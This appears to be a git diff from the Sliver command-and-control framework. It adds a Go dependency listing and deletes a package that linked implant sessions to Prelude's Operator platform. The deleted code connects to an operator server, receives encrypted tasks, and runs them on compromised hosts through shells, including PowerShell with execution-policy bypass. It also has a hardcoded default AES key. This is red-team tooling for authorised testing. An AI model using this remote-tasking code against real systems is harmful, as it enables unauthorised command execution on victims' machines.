+        github.com/bishopfox/sliver/client/constants                 from github.com/bishopfox/sliver/client/command+
+        github.com/bishopfox/sliver/client/core                      from github.com/bishopfox/sliver/client/command/exec+
+        github.com/bishopfox/sliver/client/licenses                  from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/spin                      from github.com/bishopfox/sliver/client/console
+        github.com/bishopfox/sliver/client/tcpproxy                  from github.com/bishopfox/sliver/client/command/portfwd+
+        github.com/bishopfox/sliver/client/transport                 from github.com/bishopfox/sliver/client/cli
+        github.com/bishopfox/sliver/client/version                   from github.com/bishopfox/sliver/client/cli+
+        github.com/bishopfox/sliver/protobuf                         from github.com/bishopfox/sliver/server/assets
+        github.com/bishopfox/sliver/protobuf/clientpb                from github.com/bishopfox/sliver/client/command/exec+
+        github.com/bishopfox/sliver/protobuf/commonpb                from github.com/bishopfox/sliver/client/command/environment+
+        github.com/bishopfox/sliver/protobuf/rpcpb                   from github.com/bishopfox/sliver/client/command/loot+
+        github.com/bishopfox/sliver/protobuf/sliverpb                from github.com/bishopfox/sliver/client/command/backdoor+
+        github.com/bishopfox/sliver/server/assets                    from github.com/bishopfox/sliver/util/encoders
+        github.com/bishopfox/sliver/server/core                      from github.com/bishopfox/sliver/client/core
+        github.com/bishopfox/sliver/server/log                       from github.com/bishopfox/sliver/server/assets
+        github.com/bishopfox/sliver/util                             from github.com/bishopfox/sliver/client/command/filesystem+
+        github.com/bishopfox/sliver/util/encoders                    from github.com/bishopfox/sliver/client/command/exec+
+        github.com/cheggaaa/pb/v3                                    from github.com/bishopfox/sliver/client/command/update
+     💣 github.com/cheggaaa/pb/v3/termutil                           from github.com/cheggaaa/pb/v3
+        github.com/danwakefield/fnmatch                              from github.com/alecthomas/chroma/lexers/internal
+        github.com/desertbit/closer/v3                               from github.com/desertbit/grumble
+        github.com/desertbit/columnize                               from github.com/bishopfox/sliver/client/command/help+
+        github.com/desertbit/go-shlex                                from github.com/bishopfox/sliver/client/console+
+        github.com/desertbit/grumble                                 from github.com/bishopfox/sliver/client/command+
+     💣 github.com/desertbit/readline                                from github.com/desertbit/grumble
+        github.com/dlclark/regexp2                                   from github.com/alecthomas/chroma
+        github.com/dlclark/regexp2/syntax                            from github.com/dlclark/regexp2
+        github.com/fatih/color                                       from github.com/bishopfox/sliver/client/console+
+        github.com/golang/protobuf/proto                             from github.com/golang/protobuf/ptypes+
+        github.com/golang/protobuf/ptypes                            from google.golang.org/grpc/internal/binarylog+
+        github.com/golang/protobuf/ptypes/any                        from github.com/golang/protobuf/ptypes
+        github.com/golang/protobuf/ptypes/duration                   from github.com/golang/protobuf/ptypes
+        github.com/golang/protobuf/ptypes/timestamp                  from github.com/golang/protobuf/ptypes
+        github.com/hashicorp/errwrap                                 from github.com/hashicorp/go-multierror
+        github.com/hashicorp/go-multierror                           from github.com/desertbit/closer/v3
+   W 💣 github.com/inconshreveable/mousetrap                         from github.com/spf13/cobra
+        github.com/kballard/go-shellquote                            from github.com/AlecAivazis/survey/v2+
+     💣 github.com/mattn/go-colorable                                from github.com/cheggaaa/pb/v3+
+     💣 github.com/mattn/go-isatty                                   from github.com/AlecAivazis/survey/v2/terminal+
+        github.com/mattn/go-runewidth                                from github.com/cheggaaa/pb/v3
+        github.com/mgutz/ansi                                        from github.com/AlecAivazis/survey/v2/core+
+        github.com/sirupsen/logrus                                   from github.com/bishopfox/sliver/server/log
+        github.com/spf13/cobra                                       from github.com/bishopfox/sliver/client/cli
+        github.com/spf13/pflag                                       from github.com/spf13/cobra
+        google.golang.org/genproto/googleapis/rpc/status             from google.golang.org/grpc/internal/status+
+        google.golang.org/grpc                                       from github.com/bishopfox/sliver/client/transport+
+        google.golang.org/grpc/attributes                            from google.golang.org/grpc/balancer/base+
+        google.golang.org/grpc/backoff                               from google.golang.org/grpc+
+        google.golang.org/grpc/balancer                              from google.golang.org/grpc+
+        google.golang.org/grpc/balancer/base                         from google.golang.org/grpc+
+        google.golang.org/grpc/balancer/grpclb/state                 from google.golang.org/grpc/internal/resolver/dns
+        google.golang.org/grpc/balancer/roundrobin                   from google.golang.org/grpc
+        google.golang.org/grpc/binarylog/grpc_binarylog_v1           from google.golang.org/grpc/internal/binarylog
+        google.golang.org/grpc/codes                                 from github.com/bishopfox/sliver/protobuf/rpcpb+
+        google.golang.org/grpc/connectivity                          from google.golang.org/grpc+
+        google.golang.org/grpc/credentials                           from github.com/bishopfox/sliver/client/transport+
+        google.golang.org/grpc/encoding                              from google.golang.org/grpc+
+        google.golang.org/grpc/encoding/proto                        from google.golang.org/grpc
+        google.golang.org/grpc/grpclog                               from google.golang.org/grpc+
+        google.golang.org/grpc/internal                              from google.golang.org/grpc+
+        google.golang.org/grpc/internal/backoff                      from google.golang.org/grpc
+        google.golang.org/grpc/internal/balancerload                 from google.golang.org/grpc
+        google.golang.org/grpc/internal/binarylog                    from google.golang.org/grpc
+        google.golang.org/grpc/internal/buffer                       from google.golang.org/grpc
+        google.golang.org/grpc/internal/channelz                     from google.golang.org/grpc+
+        google.golang.org/grpc/internal/credentials                  from google.golang.org/grpc/credentials
+        google.golang.org/grpc/internal/envconfig                    from google.golang.org/grpc+
+        google.golang.org/grpc/internal/grpclog                      from google.golang.org/grpc/grpclog
+        google.golang.org/grpc/internal/grpcrand                     from google.golang.org/grpc+
+        google.golang.org/grpc/internal/grpcsync                     from google.golang.org/grpc
+        google.golang.org/grpc/internal/grpcutil                     from google.golang.org/grpc+
+        google.golang.org/grpc/internal/metadata                     from google.golang.org/grpc/internal/transport
+        google.golang.org/grpc/internal/resolver                     from google.golang.org/grpc
+        google.golang.org/grpc/internal/resolver/dns                 from google.golang.org/grpc
+        google.golang.org/grpc/internal/resolver/passthrough         from google.golang.org/grpc
+        google.golang.org/grpc/internal/resolver/unix                from google.golang.org/grpc
+        google.golang.org/grpc/internal/serviceconfig                from google.golang.org/grpc+
+        google.golang.org/grpc/internal/status                       from google.golang.org/grpc/status
+        google.golang.org/grpc/internal/syscall                      from google.golang.org/grpc/internal/transport
+        google.golang.org/grpc/internal/transport                    from google.golang.org/grpc
+        google.golang.org/grpc/internal/transport/networktype        from google.golang.org/grpc/internal/resolver/unix+
+        google.golang.org/grpc/keepalive                             from google.golang.org/grpc+
+        google.golang.org/grpc/metadata                              from google.golang.org/grpc+
+        google.golang.org/grpc/peer                                  from google.golang.org/grpc+
+        google.golang.org/grpc/resolver                              from google.golang.org/grpc+
+        google.golang.org/grpc/serviceconfig                         from google.golang.org/grpc+
+        google.golang.org/grpc/stats                                 from google.golang.org/grpc+
+        google.golang.org/grpc/status                                from github.com/bishopfox/sliver/protobuf/rpcpb+
+        google.golang.org/grpc/tap                                   from google.golang.org/grpc+
+        google.golang.org/protobuf/encoding/prototext                from github.com/golang/protobuf/proto+
+        google.golang.org/protobuf/encoding/protowire                from github.com/golang/protobuf/proto+
+        google.golang.org/protobuf/internal/descfmt                  from google.golang.org/protobuf/internal/filedesc
+        google.golang.org/protobuf/internal/descopts                 from google.golang.org/protobuf/internal/filedesc+
+        google.golang.org/protobuf/internal/detrand                  from google.golang.org/protobuf/internal/descfmt+
+        google.golang.org/protobuf/internal/encoding/defval          from google.golang.org/protobuf/internal/encoding/tag+
+        google.golang.org/protobuf/internal/encoding/messageset      from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/encoding/tag             from google.golang.org/protobuf/internal/impl
+        google.golang.org/protobuf/internal/encoding/text            from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/errors                   from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/filedesc                 from google.golang.org/protobuf/internal/encoding/tag+
+        google.golang.org/protobuf/internal/filetype                 from google.golang.org/protobuf/runtime/protoimpl
+        google.golang.org/protobuf/internal/flags                    from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/genid                    from google.golang.org/protobuf/encoding/prototext+
+     💣 google.golang.org/protobuf/internal/impl                     from google.golang.org/protobuf/internal/filetype+
+        google.golang.org/protobuf/internal/order                    from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/pragma                   from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/set                      from google.golang.org/protobuf/encoding/prototext
+     💣 google.golang.org/protobuf/internal/strs                     from google.golang.org/protobuf/encoding/prototext+
+        google.golang.org/protobuf/internal/version                  from google.golang.org/protobuf/runtime/protoimpl
+        google.golang.org/protobuf/proto                             from github.com/bishopfox/sliver/protobuf/sliverpb+
+        google.golang.org/protobuf/reflect/protodesc                 from github.com/golang/protobuf/proto
+     💣 google.golang.org/protobuf/reflect/protoreflect              from github.com/bishopfox/sliver/protobuf/clientpb+
+        google.golang.org/protobuf/reflect/protoregistry             from github.com/golang/protobuf/proto+
+        google.golang.org/protobuf/runtime/protoiface                from github.com/golang/protobuf/proto+
+        google.golang.org/protobuf/runtime/protoimpl                 from github.com/bishopfox/sliver/protobuf/clientpb+
+        google.golang.org/protobuf/types/descriptorpb                from google.golang.org/protobuf/reflect/protodesc
+        google.golang.org/protobuf/types/known/anypb                 from github.com/golang/protobuf/ptypes/any+
+        google.golang.org/protobuf/types/known/durationpb            from github.com/golang/protobuf/ptypes/duration+
+        google.golang.org/protobuf/types/known/timestamppb           from github.com/golang/protobuf/ptypes/timestamp+
+        gopkg.in/AlecAivazis/survey.v1                               from github.com/bishopfox/sliver/client/cli+
+        gopkg.in/AlecAivazis/survey.v1/core                          from gopkg.in/AlecAivazis/survey.v1
+     💣 gopkg.in/AlecAivazis/survey.v1/terminal                      from gopkg.in/AlecAivazis/survey.v1+
+        golang.org/x/crypto/cast5                                    from golang.org/x/crypto/openpgp/packet
+        golang.org/x/crypto/chacha20                                 from golang.org/x/crypto/chacha20poly1305
+        golang.org/x/crypto/chacha20poly1305                         from crypto/tls
+        golang.org/x/crypto/cryptobyte                               from crypto/ecdsa+
+        golang.org/x/crypto/cryptobyte/asn1                          from crypto/ecdsa+
+        golang.org/x/crypto/curve25519                               from crypto/tls
+        golang.org/x/crypto/hkdf                                     from crypto/tls
+        golang.org/x/crypto/openpgp/armor                            from github.com/bishopfox/sliver/server/assets
+        golang.org/x/crypto/openpgp/elgamal                          from golang.org/x/crypto/openpgp/packet
+        golang.org/x/crypto/openpgp/errors                           from golang.org/x/crypto/openpgp/armor+
+        golang.org/x/crypto/openpgp/packet                           from github.com/bishopfox/sliver/server/assets
+        golang.org/x/crypto/openpgp/s2k                              from golang.org/x/crypto/openpgp/packet
+        golang.org/x/crypto/poly1305                                 from golang.org/x/crypto/chacha20poly1305
+        golang.org/x/crypto/ssh/terminal                             from github.com/AlecAivazis/survey/v2+
+        golang.org/x/net/dns/dnsmessage                              from net
+        golang.org/x/net/http/httpguts                               from golang.org/x/net/http2+
+        golang.org/x/net/http/httpproxy                              from net/http
+        golang.org/x/net/http2                                       from google.golang.org/grpc/internal/transport
+        golang.org/x/net/http2/hpack                                 from golang.org/x/net/http2+
+        golang.org/x/net/idna                                        from golang.org/x/net/http/httpguts+
+   D    golang.org/x/net/route                                       from net
+        golang.org/x/net/trace                                       from google.golang.org/grpc
+        golang.org/x/sys/cpu                                         from golang.org/x/crypto/chacha20poly1305
+  LD    golang.org/x/sys/unix                                        from github.com/mattn/go-isatty+
+   W    golang.org/x/sys/windows                                     from github.com/sirupsen/logrus+
+        golang.org/x/term                                            from golang.org/x/crypto/ssh/terminal
+        golang.org/x/text/secure/bidirule                            from golang.org/x/net/idna
+        golang.org/x/text/transform                                  from golang.org/x/text/secure/bidirule+
+        golang.org/x/text/unicode/bidi                               from golang.org/x/net/idna+
+        golang.org/x/text/unicode/norm                               from golang.org/x/net/idna
+        golang.org/x/text/width                                      from github.com/AlecAivazis/survey/v2/terminal
+        archive/zip                                                  from github.com/bishopfox/sliver/server/assets
+        bufio                                                        from archive/zip+
+        bytes                                                        from bufio+
+        compress/bzip2                                               from golang.org/x/crypto/openpgp/packet
+        compress/flate                                               from archive/zip+
+        compress/gzip                                                from github.com/bishopfox/sliver/util/encoders+
+        compress/zlib                                                from golang.org/x/crypto/openpgp/packet+
+        container/list                                               from crypto/tls+
+        context                                                      from crypto/tls+
+        crypto                                                       from crypto/ecdsa+
+        crypto/aes                                                   from crypto/ecdsa+
+        crypto/cipher                                                from crypto/aes+
+        crypto/des                                                   from crypto/tls+
+        crypto/dsa                                                   from crypto/x509+
+        crypto/ecdsa                                                 from crypto/tls+
+        crypto/ed25519                                               from crypto/tls+
+        crypto/elliptic                                              from crypto/ecdsa+
+        crypto/hmac                                                  from crypto/tls+
+        crypto/md5                                                   from crypto/tls+
+        crypto/rand                                                  from crypto/ed25519+
+        crypto/rc4                                                   from crypto/tls
+        crypto/rsa                                                   from crypto/tls+
+        crypto/sha1                                                  from crypto/tls+
+        crypto/sha256                                                from crypto/tls+
+        crypto/sha512                                                from crypto/ecdsa+
+        crypto/subtle                                                from crypto/aes+
+        crypto/tls                                                   from github.com/bishopfox/sliver/client/command/update+
+        crypto/x509                                                  from crypto/tls+
+        crypto/x509/pkix                                             from crypto/x509
+        embed                                                        from github.com/bishopfox/sliver/protobuf
+        encoding                                                     from encoding/json+
+        encoding/asn1                                                from crypto/x509+
+        encoding/base64                                              from encoding/json+
+        encoding/binary                                              from archive/zip+
+        encoding/csv                                                 from github.com/spf13/pflag
+        encoding/hex                                                 from crypto/x509+
+        encoding/json                                                from github.com/alecthomas/chroma+
+        encoding/pem                                                 from crypto/tls+
+        errors                                                       from archive/zip+
+        flag                                                         from github.com/spf13/pflag
+        fmt                                                          from compress/flate+
+        go/token                                                     from google.golang.org/protobuf/internal/strs
+        hash                                                         from archive/zip+
+        hash/adler32                                                 from compress/zlib
+        hash/crc32                                                   from archive/zip+
+        hash/fnv                                                     from google.golang.org/protobuf/internal/detrand
+        html                                                         from github.com/alecthomas/chroma/formatters/html+
+        html/template                                                from golang.org/x/net/trace
+        image                                                        from github.com/bishopfox/sliver/util/encoders+
+        image/color                                                  from github.com/bishopfox/sliver/util/encoders+
+        image/jpeg                                                   from golang.org/x/crypto/openpgp/packet
+        image/png                                                    from github.com/bishopfox/sliver/util/encoders
+        io                                                           from archive/zip+
+        io/fs                                                        from archive/zip+
+        io/ioutil                                                    from github.com/AlecAivazis/survey/v2+
+        log                                                          from github.com/bishopfox/sliver/client/assets+
+        math                                                         from compress/flate+
+        math/big                                                     from crypto/dsa+
+        math/bits                                                    from compress/flate+
+        math/rand                                                    from github.com/bishopfox/sliver/client/command/exec+
+        mime                                                         from mime/multipart+
+        mime/multipart                                               from net/http
+        mime/quotedprintable                                         from mime/multipart
+        net                                                          from crypto/tls+
+        net/http                                                     from github.com/bishopfox/sliver/client/command/update+
+        net/http/httptrace                                           from golang.org/x/net/http2+
+        net/http/httputil                                            from google.golang.org/grpc/internal/transport
+        net/http/internal                                            from net/http+
+        net/textproto                                                from golang.org/x/net/http/httpguts+
+        net/url                                                      from crypto/x509+
+        os                                                           from archive/zip+
+        os/exec                                                      from github.com/AlecAivazis/survey/v2+
+        os/signal                                                    from github.com/cheggaaa/pb/v3/termutil+
+        os/user                                                      from github.com/bishopfox/sliver/client/assets+
+        path                                                         from archive/zip+
+        path/filepath                                                from crypto/x509+
+        reflect                                                      from crypto/x509+
+        regexp                                                       from github.com/AlecAivazis/survey/v2+
+        regexp/syntax                                                from regexp
+        sort                                                         from archive/zip+
+        strconv                                                      from compress/flate+
+        strings                                                      from archive/zip+
+        sync                                                         from archive/zip+
+        sync/atomic                                                  from context+
+        syscall                                                      from crypto/rand+
+        text/tabwriter                                               from github.com/bishopfox/sliver/client/command/filesystem+
+        text/template                                                from github.com/AlecAivazis/survey/v2/core+
+        text/template/parse                                          from html/template+
+        time                                                         from archive/zip+
+        unicode                                                      from bytes+
+        unicode/utf16                                                from encoding/asn1+
+        unicode/utf8                                                 from archive/zip+

client/prelude/README.md

@@ -1,4 +0,0 @@
-Prelude
-=======
-
-The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).

client/prelude/agent-session.go

@@ -1,132 +0,0 @@
-package prelude
-
-import (
-	"bufio"
-	"bytes"
-	"context"
-	"encoding/json"
-	"io"
-	"net"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-type AgentSession struct {
-	Conn    *net.Conn
-	Session *clientpb.Session
-	RPC     rpcpb.SliverRPCClient
-	Beacon  Beacon
-	Config  AgentConfig
-}
-
-func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
-	return &AgentSession{
-		Conn:    c,
-		Session: s,
-		RPC:     rpc,
-		Config:  conf,
-		Beacon:  b,
-	}
-}
-
-func (a *AgentSession) ReceiveLoop() {
-	for {
-		err := a.send()
-		if err != nil {
-			return
-		}
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			message := strings.TrimSpace(scanner.Text())
-			err = a.respond(message)
-			if err != nil {
-				return
-			}
-		}
-	}
-}
-
-func (a *AgentSession) send() error {
-	data, err := json.Marshal(a.Beacon)
-	if err != nil {
-		return err
-	}
-	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
-	sendBuffer := make([]byte, 1024)
-	for {
-		_, err := dataBuff.Read(sendBuffer)
-		if err == io.EOF {
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
-			return err
-		}
-		time.Sleep(time.Duration(a.Beacon.Sleep))
-	}
-}
-
-func (a *AgentSession) respond(message string) error {
-	var tempBeacon Beacon
-	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
-		a.Beacon.Links = a.Beacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-	a.refreshBeacon(&a.Config)
-	a.send()
-	return nil
-}
-
-func (a *AgentSession) runLinks(tempBeacon *Beacon) {
-	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		//TODO handle link.payloadPath
-		payloadPath := ""
-		response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		a.Beacon.Links = append(a.Beacon.Links, link)
-		a.Config.EndInstruction(link)
-	}
-}
-
-func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Session),
-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.Beacon.Sleep = conf.Sleep
-	a.Beacon.Range = conf.Range
-	a.Beacon.Pwd = pwd
-	a.Beacon.Target = conf.Address
-	a.Beacon.Executing = conf.BuildExecutingHash()
-
-}
-
-func MakeRequest(session *clientpb.Session) *commonpb.Request {
-	if session == nil {
-		return nil
-	}
-	timeout := int64(defaultTimeout)
-	return &commonpb.Request{
-		SessionID: session.ID,
-		Timeout:   timeout,
-	}
-}

client/prelude/commands.go

@@ -1,92 +0,0 @@
-package prelude
-
-import (
-	"context"
-	"fmt"
-	"log"
-	"strings"
-
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-//RunCommand executes a given command
-func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
-	switch executor {
-	case "keyword":
-		task := splitMessage(message, '.')
-		switch task[0] {
-		case "config":
-			// return updateConfiguration(task[1], agent)
-		// case "shell":
-		// 	return pty.SpawnShell(task[1], agent)
-		case "exit":
-			return shutdown(agent, rpc, session)
-		default:
-			// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
-		}
-	default:
-		bites, status, pid := execute(message, executor, agent, rpc, session)
-		return string(bites), status, pid
-	}
-	return "", 0, 0
-}
-
-func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
-	args := append(getCmdArg(executor), cmd)
-	if executor == "psh" {
-		executor = "powershell.exe"
-	}
-	log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
-	execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Path:    executor,
-		Args:    args,
-		Output:  true,
-		Request: MakeRequest(session),
-	})
-
-	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
-	}
-
-	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, 0, 0
-	}
-	return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
-}
-
-func getCmdArg(executor string) []string {
-	var args []string
-	switch executor {
-	case "cmd":
-		args = []string{"/C", "/S"}
-	case "powershell", "psh":
-		args = []string{"-execu", "ByPasS", "-C"}
-	case "sh", "bash", "zsh":
-		args = []string{"-c"}
-	}
-	return args
-}
-
-func splitMessage(message string, splitRune rune) []string {
-	quoted := false
-	values := strings.FieldsFunc(message, func(r rune) bool {
-		if r == '"' {
-			quoted = !quoted
-		}
-		return !quoted && r == splitRune
-	})
-	return values
-}
-
-func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
-	_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
-		Force:   false,
-		Request: MakeRequest(session),
-	})
-	if err != nil {
-		return err.Error(), 1, 0
-	}
-	return fmt.Sprintf("Terminated %s", session.Name), 0, 0
-}

client/prelude/config.go

@@ -1,91 +0,0 @@
-package prelude
-
-import (
-	"crypto/md5"
-	"encoding/hex"
-	"io"
-	"sort"
-)
-
-type Configuration interface {
-	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() Beacon
-}
-
-type AgentConfig struct {
-	Name           string
-	AESKey         string
-	Range          string
-	Contact        string
-	Address        string
-	Useragent      string
-	Sleep          int
-	KillSleep      int
-	CommandJitter  int
-	CommandTimeout int
-	Pid            int
-	Proxy          string
-	Debug          bool
-	Executing      map[string]Instruction
-}
-
-type Beacon struct {
-	Name      string
-	Target    string
-	Hostname  string
-	Location  string
-	Platform  string
-	Executors []string
-	Range     string
-	Sleep     int
-	Pwd       string
-	Executing string
-	Links     []Instruction
-}
-
-type Instruction struct {
-	ID       string `json:"ID"`
-	Executor string `json:"Executor"`
-	Payload  string `json:"Payload"`
-	Request  string `json:"Request"`
-	Response string
-	Status   int
-	Pid      int
-}
-
-func (c *AgentConfig) BuildExecutingHash() string {
-	if count := len(c.Executing); count > 0 {
-		ids := make([]string, count)
-		for id := range c.Executing {
-			ids = append(ids, id)
-		}
-		sort.Strings(ids)
-		h := md5.New()
-		for _, s := range ids {
-			io.WriteString(h, s)
-		}
-		return hex.EncodeToString(h.Sum(nil))
-	}
-	return ""
-}
-
-func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
-	if _, ex := c.Executing[instruction.ID]; ex {
-		return false
-	}
-	c.Executing[instruction.ID] = instruction
-	return true
-}
-
-func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
-	for _, i := range instructions {
-		if c.StartInstruction(i) {
-			ret = append(ret, i)
-		}
-	}
-	return
-}
-
-func (c *AgentConfig) EndInstruction(instruction Instruction) {
-	delete(c.Executing, instruction.ID)
-}

client/prelude/prelude.go

@@ -1,119 +0,0 @@
-package prelude
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"net"
-	"sync"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
-)
-
-var SessionMapper *PreludeSessionMapper
-
-type OperatorConfig struct {
-	Range       string
-	OperatorURL string
-	RPC         rpcpb.SliverRPCClient
-	AESKey      string
-}
-
-type PreludeSessionMapper struct {
-	sessions []*AgentSession
-	conf     *OperatorConfig
-	sync.Mutex
-}
-
-func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
-	if SessionMapper == nil {
-		SessionMapper = &PreludeSessionMapper{
-			sessions: make([]*AgentSession, 0),
-			conf:     conf,
-		}
-	}
-	return SessionMapper
-}
-
-func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
-	var pwd string
-	conn, err := net.Dial("tcp", p.conf.OperatorURL)
-	if err != nil {
-		return err
-	}
-	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(s),
-	})
-	if err != nil {
-		return err
-	}
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	// Operator implants have embeded static IDs, but we don't,
-	// so to avoid having multiple sessions showing as one on the Operator
-	// GUI, we need to have a unique name for them.
-	// Plus, having the ID in the name will help the user to make the
-	// correlation.
-	sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
-	beacon := Beacon{
-		Name:      sessName,
-		Target:    p.conf.OperatorURL,
-		Hostname:  s.Hostname,
-		Location:  s.Filename,
-		Platform:  s.OS,
-		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(s.OS, s.Arch),
-		Links:     make([]Instruction, 0),
-		Executing: "",
-		Pwd:       pwd,
-		Sleep:     3,
-	}
-
-	encryptionKey := aesDefaultKey
-	if p.conf.AESKey != "" {
-		encryptionKey = p.conf.AESKey
-	}
-	agentConfig := AgentConfig{
-		Name:      sessName,
-		AESKey:    encryptionKey,
-		Range:     p.conf.Range,
-		Contact:   "tcp",
-		Address:   p.conf.OperatorURL,
-		Pid:       int(s.PID),
-		Executing: make(map[string]Instruction),
-	}
-	util.EncryptionKey = &agentConfig.AESKey
-	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
-	p.Lock()
-	p.sessions = append(p.sessions, agentSession)
-	p.Unlock()
-	go agentSession.ReceiveLoop()
-	return nil
-}
-
-func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
-	p.Lock()
-	for _, agentSession := range p.sessions {
-		if agentSession.Session.ID == s.ID {
-			if agentSession.Conn != nil {
-				err = (*agentSession.Conn).Close()
-			} else {
-				err = errors.New("connection is nil")
-			}
-		}
-	}
-	p.Unlock()
-	return err
-}
-
-func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
-	return p.conf
-}

client/prelude/util/crypto.go

@@ -1,66 +0,0 @@
-package util
-
-import (
-	"crypto/aes"
-	"crypto/cipher"
-	"crypto/rand"
-	"encoding/hex"
-	"errors"
-	"fmt"
-	"io"
-)
-
-var EncryptionKey *string
-
-//Encrypt the results
-func Encrypt(bites []byte) []byte {
-	plainText, err := pad(bites, aes.BlockSize)
-	if err != nil {
-		return make([]byte, 0)
-	}
-	block, _ := aes.NewCipher([]byte(*EncryptionKey))
-	cipherText := make([]byte, aes.BlockSize+len(plainText))
-	iv := cipherText[:aes.BlockSize]
-	if _, err := io.ReadFull(rand.Reader, iv); err != nil {
-		return make([]byte, 0)
-	}
-	mode := cipher.NewCBCEncrypter(block, iv)
-	mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
-	return []byte(fmt.Sprintf("%x", cipherText))
-}
-
-//Decrypt a command
-func Decrypt(text string) string {
-	cipherText, _ := hex.DecodeString(text)
-	block, err := aes.NewCipher([]byte(*EncryptionKey))
-	if err != nil {
-		return ""
-	}
-	iv := cipherText[:aes.BlockSize]
-	cipherText = cipherText[aes.BlockSize:]
-	mode := cipher.NewCBCDecrypter(block, iv)
-	mode.CryptBlocks(cipherText, cipherText)
-	cipherText, _ = unpad(cipherText, aes.BlockSize)
-	return string(cipherText)
-}
-
-func pad(buf []byte, size int) ([]byte, error) {
-	bufLen := len(buf)
-	padLen := size - bufLen%size
-	padded := make([]byte, bufLen+padLen)
-	copy(padded, buf)
-	for i := 0; i < padLen; i++ {
-		padded[bufLen+i] = byte(padLen)
-	}
-	return padded, nil
-}
-
-func unpad(padded []byte, size int) ([]byte, error) {
-	if len(padded)%size != 0 {
-		return nil, errors.New("pkcs7: Padded value wasn't in correct size")
-	}
-	bufLen := len(padded) - int(padded[len(padded)-1])
-	buf := make([]byte, bufLen)
-	copy(buf, padded[:bufLen])
-	return buf, nil
-}

client/prelude/util/executors.go

@@ -1,30 +0,0 @@
-package util
-
-func DetermineExecutors(platform string, arch string) []string {
-	platformExecutors := map[string]map[string][]string{
-		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe"},
-			"executor": {"pwsh", "psh", "cmd"},
-		},
-		"linux": {
-			"file":     {"python3", "pwsh", "sh", "bash"},
-			"executor": {"python", "pwsh", "sh", "bash"},
-		},
-		"darwin": {
-			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
-		},
-	}
-	var executors []string
-	for platformKey, platformValue := range platformExecutors {
-		if platform == platformKey {
-			for i := range platformValue["file"] {
-				// if checkIfExecutorAvailable(platformValue["file"][i]) {
-				executors = append(executors, platformExecutors[platformKey]["executor"][i])
-				// }
-			}
-		}
-	}
-	executors = append([]string{"keyword"}, executors...)
-	return executors
-}

client/transport/mtls.go

@@ -19,7 +19,6 @@ package transport
 */
 
 import (
-	"context"
 	"crypto/tls"
 	"crypto/x509"
